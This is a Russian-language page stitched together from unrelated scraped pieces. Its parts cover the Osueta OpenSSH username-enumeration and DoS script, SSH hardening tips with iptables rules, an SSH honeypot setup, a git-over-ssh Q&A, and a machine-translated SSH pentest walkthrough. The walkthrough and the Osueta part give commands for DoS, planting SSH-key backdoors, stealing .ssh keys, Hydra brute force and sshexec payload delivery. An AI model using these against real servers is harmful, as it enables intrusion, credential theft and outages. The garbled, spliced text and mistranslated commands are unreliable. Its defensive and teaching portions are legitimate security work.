ᐉ Osueto — взлом и проведения атак на сервер OpenSSH, DoS атака на SSH сервер
О скрипте для проведения атак OpenSSH – Osueta
Osueta – мощный скрипт python, используемый для использования уязвимостей OpenSSH с помощью методологии атаки, основанной на пользовательской энциклопедии. С помощью атаки, основанной на пользовательском времени, злоумышленник ищет имена пользователей на целевом сервере. Атака уникальна в том смысле, что делает атаку грубой силы более эффективной, используя усилия по поиску только паролей для идентифицированных имен пользователей.
OpenSSH – это пакет безопасности на уровне сети, который использует протокол Secure Shell (SSH) для защиты сетевой связи с помощью различных методов шифрования. Протокол SSH был введен для защиты сетей от Man in middle (MITM) и кибер-атак подслушивания. Поскольку сервер OpenSSH использует имя пользователя и пароль для проверки подлинности на основе пароля, Osueta становится удобным в использовании уязвимостей сервера OpenSSH и поиске имен пользователей на целевом сервере.
Установка Osueta
На Linux Osueta можно установить с помощью следующих команд.
apt-get install python-ipy python-nmap
pip install paramiko
git clone https://github.com/c0r3dump3d/osueta.git
После установки Osueta перейдите на рабочий стол, а потом в папку со скриптом, если он был установлен на рабочий стол, конечно же.
cd Desktop
cd osueta
Использование Osueta – скрипт для атак на OpenSSH
Чтобы увидеть Osueta в действии, нам нужно выяснить целевой IP-адрес. Это можно сделать, используя следующую команду. <Url> в следующей команде – целевой URL-адрес службы, размещенный на целевом сервере.
whatweb <url>
Вышеупомянутая команда помогает найти IP-адрес сервера вместе с другой полезной информацией, как показано на следующем снимке экрана.
После успешного нахождения IP-адреса сервера используйте следующую команду, чтобы узнать имя пользователя на целевом сервере.
python osueta.py –H <IP Address Here> –U pp –p 22
Здесь H <IP-адрес> – это IP-адрес сервера. U представляет случайное имя пользователя. P – номер порта, используемый в атаке. В данном случае это 22. Когда команда запускается, Osueta проверяет, открыт ли порт или закрыт. Если порт открыт, он обнаруживает, что служебный баннер знает версию SSH. Впоследствии Osueta тестирует случайные имена пользователей, анализируя временные задержки. Список имен пользователей также можно отправить в Osueta, чтобы проверить, существует ли имя пользователя на сервере. Если есть временная задержка, это означает, что имя пользователя существует, потому что сервер занят созданием и сравнением хэша очень длинного пароля, предоставленного Osueta.
Что ещё может делать Osueta
Osueta также можно использовать для запуска атаки на отказ в обслуживании (DoS), используя следующую команду.
./osueta.py –H <IP Address Here> –p 22 –U pp –v no –dos yes
Синтаксис «dos» представляет атаку «Отказ в обслуживании».
Выводы об инструменте Osueto
Osueto очень хороший инструмент для проведения различных атак, связанных с задержкой ответа сервера. Но надо учитывать фактор, что работает он только с OpenSSH, что ограничивает его функционал.
Подписывайтесь на обновления сайта, а также на наш Telegram.
Страница не найдена – Information Security Squad
В командной строке Linux есть множество инструментов, которые мы можем использовать для извлечения информации из текстовых файлов. В этом руководстве мы будем использовать несколько различных методов для извлечения адресов электронной почты из текстового файла на Linux. Все методы преследуют одну и ту же цель, поэтому выберите тот, который покажется вам наиболее удобным. Вывод email из […]
Как взломать пароль от zip-файла в Kali Linux? Цель этой статьи – показать, как взломать пароль для zip-файла (архива) в Kali Linux. По умолчанию Kali включает инструменты для взлома паролей для этих сжатых архивов, а именно утилиту fcrackzip и словари. Показжем метод взлома взлома пароля к zip-архиву с помощью fcrackzip Из этой статье вы узнаете: […]
Облачные серверы компании «Дельтахост» – лучший вариант для вашего бизнеса Современные сайты представляют собой сложные системы, работающие, при поддержке мощных вычислительных потенциалов. Без последних не получится создать такую платформу, которая будет производить впечатление на конкурентов, радовать клиентов вашего предприятия и увеличивать обороты продаж. Именно поэтому сегодня мы расскажем о методе, позволяющем улучшить работоспособность вашего сайта. […]
Клонируйте репозиторий Spectre & Meltdown Checker, чтобы получить ” шелл скрипт для оценки устойчивости вашей системы к нескольким CVE, которые были опубликованы с начала 2018 года, и дать вам рекомендации по их устранению”. $ git clone https://github.com/speed47/spectre-meltdown-checker.git Cloning into ‘spectre-meltdown-checker’… remote: Enumerating objects: 1479, done. remote: Counting objects: 100% (42/42), done. remote: Compressing objects: 100% […]
Раздельное туннелирование в VPN – это функция, которая позволяет вам направлять ваш интернет-трафик по разным туннелям. Вы можете выбирать, по какому туннелю будет направляться ваш интернет-трафик, для каждого приложения или для каждого веб-сайта. Например, рассмотрим ситуацию, когда вы хотите взаимодействовать с устройствами в локальной сети, сохраняя свой интернет-трафик зашифрованным. Еще более частая проблема – когда […]
Как защитить сервер SSH от перебора паролей (брутфорс)
Даже сильно защищенный, шифрованный протокол SSH можно взломать. Есть множество методов это сделать и еще больше способов защитить сервер от взлома. В данной статье вы узнаете, что такое SSH brute, для чего вам нужен SSH checker и как можно обезопасить свой сервер от подборщиков.
Зачем хакерам нужен SSH brute и что это
Брут – это наиболее привычный способ взлома аккаунта клиента для захода на сервер. Такой взлом – это всего-навсего перебор паролей, то есть атака на сервер подборщиков, или брутфорс. Такой простой и самый очевидный метод мало кем учитывается во время создания сервера SSH. Многие думают, что на их хост никто не собирается нападать и что они в безопасности. Но приходит время, и сервер начинает глючить, а на компьютере появляются вирусы – похоже, что это взлом!
Хакеры используют брут для того, чтобы завладеть вашим устройством, будь то роутер или компьютер. На ПК они могут либо сбросить вирусы с кучей рекламы, либо проникнуть в вашу файловую систему и украсть какую-либо важную информацию. Взлом роутера по протоколу SSH – это и вовсе выгодное занятие для подброщиков. Используя стандартный перебор паролей (или брутфорс), взломщики получают доступ к роутеру и могут делать через него спамную рассылку на подключенные компьютеры. Либо они могут продавать данные для входа вашим соседям и т. д. Вот зачем им нужен взлом, вот почему брут до сих популярен – люди не умеют защищать свой SSH сервер, так что даже перебор паролей несет для них большую опасность.
Как можно защитить свой сервер
Во-первых, вы можете использовать чекер. Программ для этого хватает: Lazy SSH, SSH checker, SSH Fresh checker и т. д. Чекер работает так: создает еще одного юзера-клиента, и входит на сервер с целью проверить существующих пользователей на валидность. Если пользователь уже не активен и аккаунт давно не проявлял каких-либо действий, вы об этом узнаете и сможете удалить его, чтобы хитрые взломщики через перебор паролей не смогли взломать старый клиент. К примеру, программа Lazy SSH проверяет IP-адреса, используемые юзерами, а также пользователей, зарегистрированных по открытому ключу и паролю.
Чекер лишь поможет вам проанализировать сервер SSH на факт взлома. То есть если брут уже состоялся, то чекер поможет определить взлом, пробоину в сервере, которую оставил брутфорс и вы быстро на это среагируете, удалив подставных пользователей. Но учитывайте, что чекер не сможет предотвратить брут – взлом не остановить, если вы будете просто сканировать аккаунты. Чтобы запретить брутфорс, вам нужно покопаться в настройках SSH протокола для сервера, а не только использовать чекер.
В первую очередь вам стоит избавиться от root-пользователя, запретив для него вход. Если вы этого не сделаете, то хакеры не просто взломают вам хост, но и смогут ввести фатальные изменения на компьютер и другое оборудование.
Таким образом, вы лишь развяжите им руки, если оставите возможность входа для root-пользователя. Так что откажитесь от этой глупой идеи и поставьте индивидуальные уровни доступа для каждого каталога и файла при помощи команды chmod.
С другой стороны, поскольку вы узнали, что существует брут и подбор паролей, то лучше вообще отказаться от пассвордной авторизации. Это устаревший способ, который вовсе не защитит вас, а наоборот – оставит ходы и лазейки для хитрых подборщиков. И если вы хоть на каплю переживаете за свой сервер или роутер, то откажитесь от парольной аутентификации в пользу сверки пользователей по открытому ключу. Хоть такая защита и кажется более слабой, так как при входе на SSH сервер не нужно ничего вводить, но это не так – открытые ключи надежнее паролей.
Если вы привыкли к классическому способу аутентификации, к паролям, тогда вы все же можете их оставить, но при условии, что измените требования к авторизации пользователей. В файле конфигураций на сервере вы сможете указать ограничения для авторизаций, а именно: прописать максимальное число попыток для каждого пользователя ввести верный пароль, указать максимальное число одновременных сеансов авторизации, а также длительность ввода пароля.
Также очень важно указать другой номер порта. Ведь все брутфорс-атаки направлены на одно и то же – серверы со стандартным значение порта, равным 22. Если вы поменяете его, то вероятность взлома уже в несколько раз понизится. Потому зайдите в файл конфигураций и измените Port 22 на любой другой, хоть на 23-й. Этого достаточно, чтобы обезопасить свой сервер!
Нормально ли получать сотни попыток взлома в день?
Я, например, использую «tarpit» в дополнение к разрешению только аутентификации с открытым ключом и запрету входа в систему root.
В netfilter
нем есть recent
модуль, который вы можете использовать с ( INPUT
цепочкой):
iptables -A INPUT -i if0 -p tcp --dport 22 -m state --state NEW -m recent --set --name tarpit --rsource
iptables -A INPUT -i if0 -p tcp --dport 22 -m state --state NEW -m recent --update --seconds 180 --hitcount 6 --name tarpit --rsource -j DROP
iptables -A INPUT -i if0 -p tcp --dport 22 -j ACCEPT
Это означает, что каждая попытка подключиться к порту 22 указывается recent
модулем с IP-адресом и некоторыми другими вещами под названием «tarpit» (если вам интересно, посмотрите /proc/net/xt_recent/tarpit
). Очевидно, вы можете использовать другие имена.
Для перечисления или исключения IP-адресов используйте:
echo "+123.123.123.123" > /proc/net/xt_recent/tarpit
echo "-123.123.123.123" > /proc/net/xt_recent/tarpit
Эта скорость ограничивает 5 попыток за 300 секунд. Обратите внимание, что пользователи с существующим соединением не обеспокоены этим ограничением, потому что у них уже есть установленное соединение и им разрешено создавать больше (даже выше ограничения скорости).
Настройте правила по своему вкусу, но убедитесь, что они добавляются в этом порядке (т.е. при добавлении, затем используйте их в этом порядке, при вставке, затем в обратном порядке).
Это значительно снижает уровень шума. Он также обеспечивает реальную защиту (от грубой форсировки) в отличие от предполагаемой безопасности смены порта. Тем не менее, я бы порекомендовал изменить порт, если это возможно в вашей среде. Это также сильно снизит уровень шума …
Вы все еще можете комбинировать это с fail2ban, хотя я без проблем работал только с вышеуказанными правилами.
РЕДАКТИРОВАТЬ:
Делая это, вы можете заблокировать себя, поэтому вы можете добавить что-то вроде следующего, что позволит вам снять бан, нажав на конкретный порт:
iptables -A INPUT -i if0 -p tcp --dport <knockport> -m state --state NEW -m recent --name tarpit --remove
Как защитить SSH от взлома
SSH – безопасный протокол для передачи данных (команд, файлов, видеосигнала и т.д.) между компьютерами.
По умолчанию он включен на VPS и выделенных серверах большинства хостинг-провайдеров, так как с его помощью возможно легко и безопасно управлять удаленной машиной. К слову, на сервисе Велл-Веб можно недорого арендовать сервер VPS. Так как SSH поднят на всех VPS, Чтобы при использовании Secure Shell не возникло проблем, необходима правильная защита SSH.
Отключаем доступ от рута
В первую очередь рекомендуется деактивировать возможность удаленного подключения к машине под учетной записью суперпользователя (root). Для этого нужно найти файл sshd_config, который обычно (но не всегда) находится в каталоге /etc/ssh/, и открыть его.
В нем потребуется отыскать пункт PermitRootLogin и заменить его значение на «no», то есть должна получиться такая запись:
PermitRootLogin no
Естественно, это не предотвратит взлом, но все же несколько его затруднит.
Чтобы свести к минимуму возможность взлома, рекомендуется вместо авторизации по логину и паролю использовать авторизацию при помощи ключей. Это можно сделать несколькими способами. Подобное, к слову, еще и неплохая SSH защита от брутфорса.
Смена порта по умолчанию
Так как взлом сервера по SSH обычно происходит через перебор паролей (брутфорс), то рационально будет изменить стандартный 22-й порт на какой-нибудь другой. Сделать это очень легко. В первую очередь нужно открыть уже упомянутый файл sshd_config, и добавить там одну строчку:
Port номер_порта
Запись будет выглядеть, например, следующим образом:
Port 3048
Это позволит значительно уменьшить количество желающих несанкционированно проникнуть на сервер. Перед изменением номера порта обязательно следует убедиться, что это не навредит работе других приложений. Также нужно выбрать тот порт, который еще не используется, чтобы программы не конфликтовали из-за него.
Ограничение доступа по IP
Еще один способ защиты, который практически до нуля снизит вероятность несанкционированного подключения – это установка ограничений на авторизацию. SSH можно настроить таким способом, чтобы авторизоваться на сервере можно было только с удаленных машин с определенными IP-адресами. Для этого в файле sshd_config в строке AllowUser к имени каждого пользователя нужно дописать @номер_IP. Запись может иметь, например, такой вид:
AllowUsers [email protected], [email protected]
Перед тем, как использовать этот способ, рекомендуется убедиться, что не возникнет ситуаций, при которых может потребоваться зайти на сервер с машины, IP-адрес которой не предусмотрен конфигурацией.
Безопасный пароль
Ну и конечно же стоит использовать стойкий к перебору пароль. Длинный и с как можно более разнообразными символами, желательно с кракозябрами. Это must have.
Заключение
Все эти способы позволят защитить доступ к вашему серверу по SSH. Также советую прочесть статью о том, как выбрать VPS сервер.
SSH Honeypot – поймай злоумышленников в ловушку! – База знаний Timeweb Community
В сегодняшней нашей статье речь пойдет о такой вещи, как Honeypot.
Honeypot – это разновидность программ, представляющих собой некую ловушку для злоумышленников, которая помогает отследить атаки и подобрать эффективные методы для борьбы с ними.
Принцип работы Honeypot достаточно прост: он ничего не делает на сервере в спокойном состоянии, но при атаке на него начинает собирать информацию о злоумышленнике. Исходя из полученной информации, определяется примерная тактика взломщика, а затем уже и варианты отражения атак.
Появление Honeypot
Давайте немного углубимся в историю.
Honeypot вполне можно назвать старожилом интернет-безопасности – первое упоминание Honeypot’ов датируется аж 1990 годом (метод описан в книге Клиффорда Столла «The Cuckoo’s Egg»). В 2000 году Honeypot’ы начали повсеместно использовать для обеспечения серверной безопасности и продолжают использовать по сей день.
Как определиться с вариантом использования Honeypot
Honeypot можно условно разделить на две категории:
-
Honeypot на выделенном сервере. Позволяет приблизить ловушку к реальному серверу, который он и эмулирует (сервер данных, приложений, прокси).
-
Программно-эмулируемый Honeypot. Такой тип быстрее восстанавливается при взломе и работает отдельно от основной ОС. Создается при помощи виртуальной машины либо Honeyd.
Давайте подробнее рассмотрим каждый тип и разберемся, какой из них лучше использовать.
Разница между вышеуказанными методами лишь в масштабах сети. Очевидно, что для малой офисной сети мало толку от целого выделенного сервера для отлова злоумышленников, а значит, намного разумнее использовать второй вариант.
Однако в больших организациях используют первый вариант и зачастую стараются допустить ошибку в конфигурации сервера, чтобы взлом произошел успешно. К слову, в этом и состоит основная задумка Honeypot – заманить злоумышленника в ловушку.
От теории к практике
Сегодня мы рассмотрим установку ресурса SSH Honeypot от разработчика droberson. Основной функционал подробно рассмотрен в самом репозитории, но если кратко: он логирует ip-адреса, логины и пароли, с которыми злоумышленники нападают на определенный порт.
Как правило, при настройке SSH настоятельно рекомендуется перебрасывать подключение на нестандартный порт (по умолчанию это 22). Обычно злоумышленники нападают именно на 22 порт – оставляя SSH на нем, вы тем самым оказываете злоумышленниками неплохую услугу.
SSH можно перебросить на другой порт (454545, к примеру), однако на 22 порту мы и можем расположить нашу ловушку!
Установку рассматривать будем на примере сервера с Linux на борту.
Установка SSH Honeypot
Для начала следует установить необходимые библиотеки:
apt install libssh-dev libjson-c-dev
Затем прописываем данные команды:
make $ ssh-keygen -t rsa -f ./ssh-honeypot.rsa $ bin/ssh-honeypot -r ./ssh-honeypot.rsa
Для использования пакета прописываем следующую команду:
$ bin/ssh-honeypot -h
Также вы можете установить ssh-honeypot как Systemd-сервис, чтобы ваша ловушка запускалась вместе с системой. Для этого сначала открываем файл ssh-honeypot.service и меняем настройки на свое усмотрение. Затем прописываем:
$ make install $ systemctl enable --now ssh-honeypot
При различных атаках на 22 порт Honeypot будет собирать ip-адреса взломщиков, а также их логины и пароли. Вам лишь останется вручную (или автоматически) заблокировать указанные IP!
Сегодня мы рассмотрели эффективный метод защиты веб-сервисов под названием Honeypot, а также установку одной из самых популярных ловушек на его базе.
ssh с другого сервера и сделайте git pull
Я пытаюсь ssh с другого сервера 1 на сервер 2 и сделать git pull с сервера 1 на сервер 2.
Итак, на сервере 1 я запускаю следующую команду:
ssh root@server2 'cd /root/.example; git pull origin master'
но это дает мне ошибку
Permission denied (publickey).
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
Он способен ssh, потому что, когда я делаю ls, я вижу содержимое каталога /root/.example. Он просто не может сделать мастер git pull origin, потому что использует неправильный ключ.
Что я могу сделать по-другому?
Я использую Centos 6.
Когда я это сделаю ssh root@server2 'cd /opt/example; eval "$(ssh-agent -s)"; ssh-add /root/.ssh/gitkey; git pull origin master'
команда git pull работает
git sshПоделиться Источник Brown KL 10 марта 2016 в 19:06
3 ответа
- Git pull с сервера Bitbucket
У меня есть проблема с запуском git pull из скрипта php на удаленном сервере. Я просмотрел множество различных источников, чтобы заставить его работать, но ни один из них не работает для меня. Так что же я сделал до сих пор: Создал паб и закрытый ключ для Apache: mkdir /var/www/.ssh sudo chown -R…
- Remote SSH git pull каждый раз запрашивает кодовую фразу id_rsa
Я пытаюсь git pull с другого компьютера, к которому подключен через SSH. Каждый раз, когда я выполняю git pull на этом удаленном рабочем столе, я получаю запрос Enter passphrase for key ‘/home/**me**/.
ssh/id_rsa’: Однако когда я git pull из того же места, но непосредственно на компьютере, ничего…
1
ssh на server2 использует аутентификацию с открытым ключом. Вам нужно будет создать пару открытых и закрытых ключей на server1 (если у вас их еще нет), а затем поместить открытый ключ в файл authorized_keys server2.
Хорошее вступление к этому: https://help.ubuntu.com/сообщество/SSH/OpenSSH/Ключи
Поделиться George 10 марта 2016 в 19:13
0
Мне кажется, что ваш ключ ssh неправильно установлен на сервере 2 убедитесь, что он установлен, также возможно, что ваш Сервер1 не распознает ключ ssh.
Поделиться Sajal Choukse 10 марта 2016 в 19:13
0
Вы должны сгенерировать ключ SSH для сервера-1 и добавить открытый ключ в свою учетную запись github.
Следующий документ укажет вам правильное направление:
https://help.github.com/статьи/generating-an-ssh-key/
Поделиться abhisheknirmal 10 марта 2016 в 19:23
Похожие вопросы:
SSH ключевую фразу с git pull через ткань
Я пытаюсь автоматизировать deployment приложения с помощью fabric. Код приложения размещен на GitHub, и выкатить новую версию очень просто — просто сделайте ‘git pull’, и все. Приложение размещено…
Устранение неполадок git pull
Я настроил git repo через ssh на поле Ubuntu, которое я использую в качестве сервера media center/backup. шаги, которые я предпринял, были: cd repos git init <repoName> cd <repoName> git…
Git+SSH на Windows. Git pull умирает с «ошибкой приложения.»
Моя установка git на Windows работала нормально до нескольких дней назад. Я использую git с Cygwin. Однажды утром git pull в командной строке cygwin выдал следующую ошибку. SSH отлично работает,…
Git pull с сервера Bitbucket
У меня есть проблема с запуском git pull из скрипта php на удаленном сервере. Я просмотрел множество различных источников, чтобы заставить его работать, но ни один из них не работает для меня. Так…
Remote SSH git pull каждый раз запрашивает кодовую фразу id_rsa
Я пытаюсь git pull с другого компьютера, к которому подключен через SSH. Каждый раз, когда я выполняю git pull на этом удаленном рабочем столе, я получаю запрос Enter passphrase for key…
Разрешение на git взлом ssh на git pull
Я работаю на сайте Magento, который вот-вот выйдет в эфир, я установил разрешения проекта Magento в соответствии с рекомендациями Magento с помощью приведенного ниже скрипта shell. #!/bin/bash #…
SSH в VM и запустить «git pull» с помощью Paramiko-Python
Я пытаюсь SSH в свой VM и действительно выполняю git pull SSH, кажется, работает нормально git pull, кажется, исполнен но когда я предоставляю пароль, он, кажется, не принимает его Я что-то упустил. ..
Git pull без ключа ssh
Пожалуйста, расскажите мне, как это происходит. Я создал ключ Ssh и загрузил его в свой аккаунт github, после чего сделал git clone и git pull. Затем я удалил ключ ssh из github (он все еще…
Git pull через SSH
Я пытаюсь настроить jenkins для автоматического выполнения git pull из bitbucket. Я создал SSH в репозитории, выполнил ssh -T [email protected] и получил ответ: аутентификация с помощью ключа…
Git (SSH) зависает во время clone/push/pull
Всякий раз , когда я пытаюсь выполнить операцию с использованием git (например , clone , pull или push ) над SSH, клиент git, кажется, зависает и тайм-аут бесконечно (я оставил его работать в…
Тестирование проникновения SSH (порт 22)
Проверка каждого открытого порта — это практически первый шаг, который предпринимают хакеры для подготовки своей атаки. И чтобы работать, нужно держать свой порт открытым, но в то же время им угрожает страх перед хакерами. Следовательно, нужно научиться защищать свои порты, даже если они открыты. В этом посте мы обсудим тестирование на проникновение SSH, также известного как Secure Shell.
Содержание
- Введение в SSH
- Установка SSH
- Сканирование портов SSH
- Способы подключения SSH
- Команда терминала (Linux)
- Шпатлевка (Windows)
- Перенаправление портов
- Установить SSH-соединение с помощью ключа RSA
- Использование SSH с помощью Metasploit
- Сохранение ключа SSH — после эксплуатации
- Кража ключа SSH
- SSH-вход с использованием pubkey
- SSH Взлом пароля
Введение в SSH
Протокол SSH, также называемый Secure Shell, представляет собой метод безопасного и надежного удаленного входа с одного компьютера на другой.Он предлагает несколько вариантов строгой аутентификации, поскольку он защищает соединения и коммуникации \ безопасность и целостность с помощью надежного шифрования. Это безопасная альтернатива незащищенным протоколам входа в систему (таким как telnet, rlogin) и небезопасным методам передачи файлов (например, FTP).
Установка SSHУстановить и настроить службу ssh очень просто. Мы можем установить службу ssh напрямую, используя пакет openssh-server из репозитория ubuntu. Чтобы установить любую службу, у вас должна быть учетная запись с привилегиями root, а затем следовать приведенной ниже команде.
apt установить openssh-server
, когда вы выполните указанную выше команду, он извлечет пакет и установит конфигурацию по умолчанию на хост-машине. вы можете проверить открытый порт с помощью команды netstat на хост-машине.
Сканирование портов SSH
Если у вас нет прямого доступа к хост-машине, используйте nmap для удаленного определения состояния порта, которое считается начальным этапом теста на проникновение. Здесь мы собираемся использовать Kali Linux для тестирования на проникновение.
Итак, чтобы идентифицировать открытый порт в удаленной сети, мы будем использовать сканирование версий nmap, которое не только идентифицирует открытый порт, но также выполнит захват баннера, который показывает установленную версию службы.
нмп -sV -p22 192.168.1.103
Способы подключения SSH
Команда терминала (Linux)Теперь выполните следующую команду, чтобы получить доступ к оболочке ssh удаленного компьютера в качестве авторизованного пользователя. Имя пользователя: ignite
Пароль: 123
ssh [защищенный адрес электронной почты]Замазка (Windows)
Шаг 1: Установить шпатлевку.exe и запустите его, затем введите IP-адрес HOST <192.168.1.103> и порт <22>, также выберите тип подключения SSH.
Step2: Чтобы установить соединение между клиентом и сервером, будет создан сеанс замазки, который требует учетных данных для входа.
Имя пользователя: ignite
Пароль: 123
Перенаправление портов
По умолчанию ssh прослушивает порт 22, что означает, что, если злоумышленник определяет, что порт 22 открыт, он может попытаться атаковать порт 22, чтобы подключиться к хост-машине.Поэтому системный администратор выбирает перенаправление порта или сопоставление портов, изменяя свой порт по умолчанию на другие, чтобы получить запрос на подключение из авторизованной сети.
Выполните следующие шаги для перенаправления порта:
Шаг 1: Отредактируйте sshd_config из / etc / sshd с помощью редактора
нано / и т. Д. / Ssh / sshd_config
Шаг 2: Измените порт 22 на 2222 и сохраните файл.
Step3 : Затем перезапустите ssh
Тестирование перенаправления портовТаким образом, когда мы запустили сканирование порта 22, оно показало состояние порта ЗАКРЫТО для ssh, тогда как порт 2222 ОТКРЫТ для ssh, что можно увидеть на данном изображении.
Установить SSH-соединение с помощью ключа RSAНадежные пароли не подходят для защиты сервера, потому что их можно взломать с помощью грубой силы. Вот почему вам нужен дополнительный метод безопасности для защиты SSH-сервера.
пары ключей SSH — еще одна необходимая функция для аутентификации клиентов на сервере. Он состоит из длинной строки символов: — открытый и — закрытый ключ . Вы можете разместить открытый ключ на сервере и закрытый ключ на клиентском компьютере и разблокировать сервер, подключив закрытый ключ на клиентском компьютере.После совпадения ключей система позволяет автоматически устанавливать сеанс SSH без необходимости вводить пароль.
Ssh-keygen — это инструмент для создания новых пар ключей аутентификации для SSH. Такие пары ключей используются для автоматизации входа в систему, единой регистрации и для аутентификации хостов.
Таким образом, мы будем следовать шагам для создания пары ключей для аутентифицированного соединения.
Шаг 1: Запустите данную команду, чтобы сгенерировать пару ключей ssh (id_rsa и id_rsa.pub) на хост-машине Ubuntu.
ssh-keygen
Step2: То же самое следует сделать на клиентском компьютере, которому разрешено устанавливать соединение с хост-машиной (ubuntu).
Шаг 3: После создания пары ключей ssh (id_rsa и id_rsa.pub) переименуйте id_rsa.pub в authorized_keys, как показано на данном изображении.
ssh-keygen cd .ssh ls cat id_rsa.pub> authorized_keys
Шаг 4: Поделитесь авторизованными ключами с хост-компьютером, скопировав его в файл.ssh каталог.
Шаг 5 : Отредактируйте sshd_config из / etc / sshd с помощью редактора
нано / и т. Д. / Ssh / sshd_config
Шаг 6: Включите комментарий «Нет аутентификации пароля»
В результате только авторизованная машина, ключ rsa которой может установить соединение с хост-машиной без использования пароля.
Теперь, если вам нужно подключиться к ssh-серверу, используя свой пароль имя пользователя, сервер отбросит ваш запрос на подключение, потому что он будет аутентифицировать запрос, который имеет авторизованный ключ.
Step7: Скопируйте ключ id_rsa из Kali Linux на машину Windows, чтобы установить соединение с использованием авторизованных ключей на машине Windows,
Step8: Установите puttygen.exe
Шаг 9 : Запустите puttygen.exe, загрузите id_rsa и «сохранить как ключ» с именем Key
.Шаг 10: Используйте putty.exe для подключения к главному компьютеру, введя имя хоста 192.168.1.103 и порт 22.
Шаг 11: Перейдите к SSH> auth и просмотрите закрытый ключ ключа, который вы сохранили как упоминание на шаге 9.
Это установит ssh-соединение между клиентом Windows и сервером без использования пароля.
Использование SSH с помощью Metasploit
Сохранение ключа SSH — после эксплуатацииРассмотрим ситуацию, когда, скомпрометировав хост-машину, вы получили сеанс meterpreter и хотите оставить постоянный бэкдор, который обеспечит обратное соединение в следующий раз.
Это может быть достигнуто с помощью модуля Metasploit под названием «Сохранение ключа SSH — пост-эксплойт», когда порт 22 работает на хост-машине.
Этот модуль добавит SSH-ключ указанному пользователю (или всем), чтобы разрешить удаленный вход на жертву через SSH в любое время.
используйте post / linux / manage / sshkey_persistence Сообщение msf (sshkey_persistence)> установить сеанс 1 Сообщение msf (sshkey_persistence)> эксплойт
Как видно на приведенном изображении, он добавил авторизованные ключи в / home / ignite / .ssh и сохранил закрытый ключ в /root/.msf4/loot
Поскольку мы обеспечиваем это, подключая хост-машину через порт 22, используя сгенерированный выше закрытый ключ.Здесь я переименовал частное в «ключ» и дал разрешение 600.
ключ chmod 600 ssh -i ключ [адрес электронной почты защищен]
Браво !! Он работает без перегрузок, и, таким образом, мы можем использовать ключ ssh в качестве бэкдора постоянства.
Кража ключа SSHРассмотрим ситуацию, когда, скомпрометировав хост-машину, вы получили сеанс meterpreter, а порт 22 открыт для ssh, и вы хотите украсть открытый ключ SSH и авторизованный ключ.Это можно сделать с помощью модуля Metasploit под названием «Multi Gather OpenSSH PKI Credentials Collection -a post exploit», как описано ниже.
Этот модуль будет собирать содержимое всех пользовательских каталогов .ssh на целевой машине. Кроме того, также загружаются файлы known_hosts и authorized_keys, а также любые другие файлы. Этот модуль в значительной степени основан на firefox_creds.rb.
используйте post / multi / gather / ssh_creds Сообщение msf (ssh_creds)> установить сеанс 1 Сообщение msf (ssh_creds)> эксплойт
Из приведенного ниже изображения видно, что все авторизованные ключи хранятся в / home / ignite /.ssh на нашем локальном компьютере в /root/.msf4/loot и теперь используйте эти ключи для входа на SSH-сервер.
Это можно сделать вручную, загрузив ключи прямо из /home/ignite/.ssh, как показано на изображении ниже.
Поскольку мы обеспечиваем это, подключив хост-машину через порт 22, используя закрытый ключ, загруженный выше. Давайте изменим разрешение для ключа rsa, и для этого выполните шаг, указанный ниже.
ключ chmod 600 ssh -i ключ [адрес электронной почты защищен]
Он работает без перегрузок, и, таким образом, мы можем использовать ключ ssh в качестве бэкдора постоянства.
SSH-вход с использованием pubkeyУчитывая, что у вас есть ключ id_rsa хост-машины и вы хотите получить сеанс meterpreter через Metasploit, это можно сделать с помощью следующего модуля.
Этот модуль будет тестировать входы ssh на ряде машин с использованием определенного файла закрытого ключа и сообщать об успешных входах. Если вы загрузили подключаемый модуль базы данных и подключились к базе данных, этот модуль будет записывать успешные входы в систему и хосты, чтобы вы могли отслеживать свой доступ.Ключевыми файлами могут быть один закрытый ключ или несколько закрытых ключей в одном каталоге.
использовать вспомогательный / сканер / ssh / ssh_login_pubkey вспомогательный (сканер / ssh / ssh_login_pubkey)> установить rhosts 192.168.1.103 вспомогательный (scanner / ssh / ssh_login_pubkey)> установить имя пользователя ignite вспомогательный (сканер / ssh / ssh_login_pubkey)> установить key_path /root/.ssh/id_rsa вспомогательный (сканер / ssh / ssh_login_pubkey)> эксплойт
Это даст командный сеанс, который может быть в дальнейшем обновлен в сеансе meterpreter, выполнив следующую команду.
сеансов -u 1
SSH Взлом паролей
Мы можем протестировать атаку грубой силы на ssh для угадывания пароля или для проверки политики пороговых значений при выполнении тестирования на проникновение на SSH. Требуется словарь для списка имен пользователей и списка паролей, здесь у нас есть словарь имен пользователей «user.txt» и список паролей с именем «pass.txt» для выполнения атаки методом грубой силы с помощью Hydra
.hydra -L user.txt -P pass.txt 192.168.1.103 ssh
В результате вы можете заметить, что хост-машина не имеет защиты от атаки методом грубой силы, и мы смогли получить учетные данные ssh.
Чтобы защитить свой сервис от атаки методом перебора, вы можете использовать fail2ban, который является IPS. Прочтите здесь, чтобы настроить IPS fail2ban в сети.
Если вы обратите внимание на приведенное ниже изображение, то здесь видно, что на этот раз запрос на соединение сбрасывается хост-машиной, когда мы пытаемся запустить атаку методом грубой силы.
Сканер входа с открытым ключом SSHЭтот модуль будет проверять входы ssh на различных машинах, используя определенный файл закрытого ключа, и сообщать об успешных входах.Если вы загрузили подключаемый модуль базы данных и подключились к базе данных, этот модуль будет записывать успешные входы в систему и хосты, чтобы вы могли отслеживать свой доступ. Ключевыми файлами могут быть один закрытый ключ или несколько закрытых ключей в одном каталоге. Однако поддерживается только одна кодовая фраза, поэтому она должна либо совместно использоваться между предметными ключами, либо принадлежать только одному.
msf> используйте вспомогательный / сканер / ssh / ssh_login_pubkey вспомогательный msf (ssh_login_pubkey)> установить rhosts 192.168.1.103 вспомогательный msf (ssh_login_pubkey)> установить файл_пользователя / root / user.текст вспомогательный msf (ssh_login_pubkey)> установить key_path /root/.ssh/id_rsa.pub вспомогательный msf (ssh_login_pubkey)> запустить
В результате вы можете заметить, что пользователь ignite имеет право использовать общедоступные данные для соединения с ssh хост-машины.
Выполнение кода пользователя SSHЭтот модуль подключается к целевой системе и выполняет необходимые команды для запуска указанной полезной нагрузки через SSH. Если указана собственная полезная нагрузка, будет использоваться соответствующий stager.Таким образом, мы предоставили IP-адрес хоста вместе с именем пользователя и паролем, если все идет правильно, мы получаем сеанс meterpreter на нашей слушающей машине.
msf> используйте exploit / multi / ssh / sshexec эксплойт msf (sshexec)> установить rhosts 192.168.1.103 msf exploit (sshexec)> установить имя пользователя ignite msf exploit (sshexec)> установить пароль 123 эксплойт msf (sshexec)> установить srvhost 192.168.1.107 эксплойт msf (sshexec)> эксплойт
